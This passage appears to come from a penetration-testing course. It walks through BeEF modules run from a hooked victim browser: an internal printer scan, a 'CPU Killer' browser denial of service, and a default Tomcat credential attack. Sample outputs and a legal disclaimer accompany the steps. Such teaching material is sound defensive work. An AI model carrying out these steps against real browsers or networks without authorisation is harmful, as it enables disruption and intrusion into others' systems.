

Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands", expand "Host", expand "Network", select "Test for Printers", and click "Execute".

Command Breakdown:

Ethical Context & Use-Case: Network printers are often overlooked security risks. They can have default credentials, outdated firmware, and may even store sensitive print jobs. A penetration tester uses this module to map the location of these devices, which could be leveraged for further attacks or to demonstrate the risk of unmanaged network devices.

--> Expected Output:

--> Command Result:
{
  "192.168.1.115":"Port 9100 (JetDirect) is open. Possible printer."
}


Objective: Create a CPU Denial-of-Service PoC


Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands", expand "Browser", expand "DoS", select "CPU Killer", and click "Execute".

Command Breakdown:

Ethical Context & Use-Case: This module is used to demonstrate the risk of a client-side Denial of Service (DoS) attack. In a controlled test, a penetration tester can show how an XSS vulnerability could be used to disrupt a user's workflow or crash their browser. This is particularly effective for demonstrating impact on critical applications like a stock trading or customer support portal.

--> Expected Output: [VISUAL OUTPUT: The hooked browser tab becomes unresponsive and freezes. The user's computer fan may spin up as CPU usage for the browser process maxes out on one core.]


Objective: Test for Default Tomcat Credentials


Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands", expand "Network", expand "Exploits", select "Tomcat Default Credentials", provide an internal IP for a known Tomcat server, and click "Execute".

Command Breakdown:

Ethical Context & Use-Case: This demonstrates a clear attack path from a client-side vulnerability to a server-side compromise. An ethical hacker uses this to test for weak configurations on the internal network. Gaining access to the Tomcat Manager with default credentials would be a critical finding, as it allows for the deployment of malicious applications.

--> Expected Output:

--> Command Result:
{
  "result":"SUCCESS! Logged in with credentials: tomcat/tomcat",
  "target":"http://192.168.1.90:8080/manager/html"
}



Legal & Ethical Disclaimer


This content is provided for educational purposes only. The information, tools, and techniques described herein are intended for use in legally authorized and ethical penetration testing and security auditing scenarios. The use of the Browser Exploitation Framework (BeEF) or any other security tool on computer systems, networks, or applications without the explicit, written consent of the owner is illegal.

Unauthorized access to or modification of computer systems is a criminal offense in many jurisdictions. The course creator, instructor, and hosting platform bear no responsibility or liability for any individual's misuse of this information. By proceeding with this course, you affirm that you will only use these skills and knowledge in a lawful manner, with all necessary permissions, and for the sole purpose of identifying and mitigating security vulnerabilities. It is your responsibility to understand and comply with all applicable laws and regulations.